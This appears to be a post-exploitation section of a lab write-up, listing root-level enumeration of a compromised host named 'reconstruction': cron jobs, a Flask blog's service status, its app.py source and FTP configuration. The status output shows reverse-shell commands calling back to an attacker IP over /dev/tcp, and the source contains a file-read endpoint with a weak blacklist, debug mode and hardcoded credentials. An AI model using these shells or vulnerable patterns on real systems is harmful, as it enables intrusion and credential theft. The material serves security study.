Beyond


This is the beyond page that an additional post enumeration and assessment are conducted as the root user after compromising the target system.

Cron


root@reconstruction:~# crontab -l | grep -v '^#'
@reboot /usr/bin/blog.sh

/usr/bin/blog.sh

root@reconstruction:~# cat /usr/bin/blog.sh
#!/bin/sh
 
/bin/systemctl restart blog

blog

root@reconstruction:~# systemctl status blog
 blog.service - Flask Blog
   Loaded: loaded (/etc/systemd/system/blog.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2025-02-07 00:35:25 EST; 54min ago
 Main PID: 1116 (python3.6)
    Tasks: 20 (limit: 2322)
   CGroup: /system.slice/blog.service
           ├─ 1116 /usr/bin/python3.6 app.py
           ├─ 1177 /usr/bin/python3.6 /var/www/blog/app.py
           ├─ 1454 sh -c bash -c "bash -i >& /dev/tcp/192.168.45.215/9999 0>&1"
           ├─ 1455 bash -c bash -i >& /dev/tcp/192.168.45.215/9999 0>&1
           ├─ 1456 bash -i
           ├─ 1506 ping 192.168.209.254
           ├─ 1509 sh -c bash -c "bash -i >& /dev/tcp/192.168.45.215/9999 0>&1"
           ├─ 1510 bash -c bash -i >& /dev/tcp/192.168.45.215/9999 0>&1
           ├─ 1511 bash -i
           └─12620 ./pspy64
 
Feb 07 00:43:34 reconstruction python3.6[1116]: 192.168.45.215 - - [07/Feb/2025 00:43:34] "GET /console?__debugger__=yes&cmd=resource&f=
Feb 07 00:43:37 reconstruction python3.6[1116]: 192.168.45.215 - - [07/Feb/2025 00:43:37] "GET /console?__debugger__=yes&cmd=import%20os
Feb 07 00:53:12 reconstruction crontab[1603]: (www-data) LIST (www-data)
Feb 07 00:57:13 reconstruction crontab[6711]: (www-data) LIST (www-data)

Web


app.py


root@reconstruction:/var/www/blog# cat app.py 
#!/usr/bin/python3
import datetime
import functools
import os
import re
import urllib
from base64 import b64decode
import getpass
 
import flask
from flask import (Flask, flash, Markup, redirect, render_template, request,
                   Response, session, url_for)
from markdown import markdown
from markdown.extensions.codehilite import CodeHiliteExtension
from markdown.extensions.extra import ExtraExtension
from micawber import bootstrap_basic, parse_html
from micawber.cache import Cache as OEmbedCache
from peewee import *
from playhouse.flask_utils import FlaskDB, get_object_or_404, object_list
from playhouse.sqlite_ext import *
 
 
#ADMIN_PASSWORD = 'ee05d64d2528102d45e2db60986727ed'
ADMIN_PASSWORD = '1edfa9b54a7c0ec28fbc25babb50892e'
APP_DIR = os.path.dirname(os.path.realpath(__file__))
DATABASE = 'sqliteext:///%s' % os.path.join(APP_DIR, 'blog.db')
DEBUG = False
SECRET_KEY = '2d82e3a08a632feb12a4d2e1159a224750480122a1fb9845e67a7305cfff4ec8'
SITE_WIDTH = 800
app = Flask(__name__)
app.config.from_object(__name__)
flask_db = FlaskDB(app)
database = flask_db.database
oembed_providers = bootstrap_basic(OEmbedCache())
 
blacklisted_chars = "'()_{}%<>/\"?"
def sanitize(inp):
    for i in blacklisted_chars:
        if i in str(inp):
            inp = inp.replace(i, '')
    return inp
 
class Entry(flask_db.Model):
    title = CharField()
    slug = CharField(unique=True)
    content = TextField()
    published = BooleanField(index=True)
    timestamp = DateTimeField(default=datetime.datetime.now, index=True)
 
    @property
    def html_content(self):
        """
        Generate HTML representation of the markdown-formatted blog entry,
        and also convert any media URLs into rich media objects such as video
        players or images.
        """
        hilite = CodeHiliteExtension(linenums=False, css_class='highlight')
        extras = ExtraExtension()
        markdown_content = markdown(self.content, extensions=[hilite, extras])
        oembed_content = parse_html(
            markdown_content,
            oembed_providers,
            urlize_all=True,
            maxwidth=app.config['SITE_WIDTH'])
        return Markup(oembed_content)
 
    def save(self, *args, **kwargs):
        # Generate a URL-friendly representation of the entry's title.
        if not self.slug:
            self.slug = re.sub(r'[^\w]+', '-', self.title.lower()).strip('-')
        ret = super(Entry, self).save(*args, **kwargs)
 
        # Store search content.
        self.update_search_index()
        return ret
 
    def update_search_index(self):
        # Create a row in the FTSEntry table with the post content. This will
        # allow us to use SQLite's awesome full-text search extension to
        # search our entries.
        exists = (FTSEntry
                  .select(FTSEntry.docid)
                  .where(FTSEntry.docid == self.id)
                  .exists())
        content = '\n'.join((self.title, self.content))
        if exists:
            (FTSEntry
             .update({FTSEntry.content: content})
             .where(FTSEntry.docid == self.id)
             .execute())
        else:
            FTSEntry.insert({
                FTSEntry.docid: self.id,
                FTSEntry.content: content}).execute()
 
    @classmethod
    def public(cls):
        return Entry.select().where(Entry.published == True)
 
    @classmethod
    def drafts(cls):
        return Entry.select().where(Entry.published == False)
 
    @classmethod
    def search(cls, query):
        words = [word.strip() for word in query.split() if word.strip()]
        if not words:
            # Return an empty query.
            return Entry.noop()
        else:
            search = ' '.join(words)
 
        # Query the full-text search index for entries matching the given
        # search query, then join the actual Entry data on the matching
        # search result.
        return (Entry
                .select(Entry, FTSEntry.rank().alias('score'))
                .join(FTSEntry, on=(Entry.id == FTSEntry.docid))
                .where(
                    FTSEntry.match(search) &
                    (Entry.published == True))
                .order_by(SQL('score')))
 
class FTSEntry(FTSModel):
    content = TextField()
 
    class Meta:
        database = database
 
def login_required(fn):
    @functools.wraps(fn)
    def inner(*args, **kwargs):
        if session.get('logged_in'):
            return fn(*args, **kwargs)
        return redirect(url_for('login', next=request.path))
    return inner
 
@app.route('/login/', methods=['GET', 'POST'])
def login():
    next_url = request.args.get('next') or request.form.get('next')
    if request.method == 'POST' and request.form.get('password'):
        password = request.form.get('password')
        # TODO: If using a one-way hash, you would also hash the user-submitted
        # password and do the comparison on the hashed versions.
        if password == app.config['ADMIN_PASSWORD']:
            session['logged_in'] = True
            session.permanent = True  # Use cookie to store session.
            flash('You are now logged in.', 'success')
            return redirect(next_url or url_for('index'))
        else:
            flash('Incorrect password.', 'danger')
    return render_template('login.html', next_url=next_url)
 
@app.route('/logout/', methods=['GET', 'POST'])
def logout():
    if request.method == 'POST':
        session.clear()
        return redirect(url_for('login'))
    return render_template('logout.html')
 
@app.route('/')
def index():
    search_query = sanitize(request.args.get('q'))
    if search_query:
        query = Entry.search(search_query)
    else:
        query = Entry.public().order_by(Entry.timestamp.desc())
 
    # The `object_list` helper will take a base query and then handle
    # paginating the results if there are more than 20. For more info see
    # the docs:
    # http://docs.peewee-orm.com/en/latest/peewee/playhouse.html#object_list
    return object_list(
        'index.html',
        query,
        search=search_query,
        check_bounds=False)
 
def _create_or_edit(entry, template):
    if request.method == 'POST':
        entry.title = request.form.get('title') or ''
        entry.content = request.form.get('content') or ''
        entry.published = request.form.get('published') or False
        if not (entry.title and entry.content):
            flash('Title and Content are required.', 'danger')
        else:
            # Wrap the call to save in a transaction so we can roll it back
            # cleanly in the event of an integrity error.
            try:
                with database.atomic():
                    entry.save()
            except IntegrityError:
                flash('Error: this title is already in use.', 'danger')
            else:
                flash('Entry saved successfully.', 'success')
                if entry.published:
                    return redirect(url_for('detail', slug=entry.slug))
                else:
                    return redirect(url_for('edit', slug=entry.slug))
 
    return render_template(template, entry=entry)
 
@app.route('/create/', methods=['GET', 'POST'])
@login_required
def create():
    return _create_or_edit(Entry(title='', content=''), 'create.html')
 
@app.route('/drafts/')
@login_required
def drafts():
    query = Entry.drafts().order_by(Entry.timestamp.desc())
    return object_list('index.html', query, check_bounds=False)
 
@app.route('/<slug>/')
def detail(slug):
    if session.get('logged_in'):
        query = Entry.select()
    else:
        query = Entry.public()
    entry = get_object_or_404(query, Entry.slug == slug)
    return render_template('detail.html', entry=entry)
 
@app.route('/<slug>/edit/', methods=['GET', 'POST'])
@login_required
def edit(slug):
    entry = get_object_or_404(Entry, Entry.slug == slug)
    return _create_or_edit(entry, 'edit.html')
 
@app.template_filter('clean_querystring')
def clean_querystring(request_args, *keys_to_remove, **new_values):
    # We'll use this template filter in the pagination include. This filter
    # will take the current URL and allow us to preserve the arguments in the
    # querystring while replacing any that we need to overwrite. For instance
    # if your URL is /?q=search+query&page=2 and we want to preserve the search
    # term but make a link to page 3, this filter will allow us to do that.
    querystring = dict((key, value) for key, value in request_args.items())
    for key in keys_to_remove:
        querystring.pop(key, None)
    querystring.update(new_values)
    return urllib.urlencode(querystring)
 
@app.errorhandler(404)
def not_found(exc):
    return Response('<h3>Not found</h3>'), 404
 
@app.route("/data/")
@app.route("/data/<section>")
@login_required
def data(section="ZGVmYXVsdC5ibG9n"):
	blacklisted_extensions = ["py", "txt", "pyc", "ini", "conf"]
	extension = None
	filename = None
	error = None
	try:
		filename = b64decode(section).decode()
	except Exception as e:
		error = e
		filename = "default.blog"
 
	try:
		extension = filename.split(".")[-1]
	except:
		extension = ""
	if extension in blacklisted_extensions:
		if error is None:
			return f"Why would you need to open .{extension} files???"
		else:
			resp = flask.Response(f"Why would you need to open .{extension} files???")
			resp.headers['X-Error'] = error
			return resp
	try:
		with open(filename) as f:
			if error is None:
				return f.read()
			else:
				resp = flask.Response(f.read())
				resp.headers['X-Error'] = error
				return resp
	except Exception as e:
		error = e
		if error is None:
			return "Something went wrong!"
		else:
			resp = flask.Response("Something went wrong!")
			resp.headers['X-Error'] = error
			return resp
 
 
def main():
    database.create_tables([Entry, FTSEntry], safe=True)
    app.run("0.0.0.0", 8080, debug=True)
 
if __name__ == '__main__':
    main()

blog.ini


root@reconstruction:/var/www/blog# cat blog.ini
[uwsgi]
module = wsgi:app
 
master = true
processes = 5
 
socket = blog.sock
chmod-socket = 660
wsgi-file = /var/www/blog/wsgi.py
vacuum = true
uid = www-data
gid = www-data
 
 
die-on-term = true

wsgi.py


root@reconstruction:/var/www/blog# cat wsgi.py
from app import app
 
if __name__ == "__main__":
        app.run(debug=True)

FTP


root@reconstruction:/srv# cat /etc/ftpusers 
# /etc/ftpusers: list of users disallowed FTP access. See ftpusers(5).
 
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
nobody
 
root@reconstruction:/srv# cat /etc/vsftpd.conf | grep -v '^#'
listen=YES
anonymous_enable=YES
local_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
root@reconstruction:/var# cd /srv
root@reconstruction:/srv# ll
total 12
drwxr-xr-x  3 root root 4096 Sep 30  2020 ./
drwxr-xr-x 23 root root 4096 Sep 30  2020 ../
drwxr-xr-x  3 root ftp  4096 Sep 30  2020 ftp/
root@reconstruction:/srv# ll ftp/
total 16
drwxr-xr-x 3 root ftp  4096 Sep 30  2020 ./
drwxr-xr-x 3 root root 4096 Sep 30  2020 ../
-rw-r--r-- 1 root root  137 Apr 29  2020 note.txt
drwxr-xr-x 2 root root 4096 Apr 29  2020 WebSOC/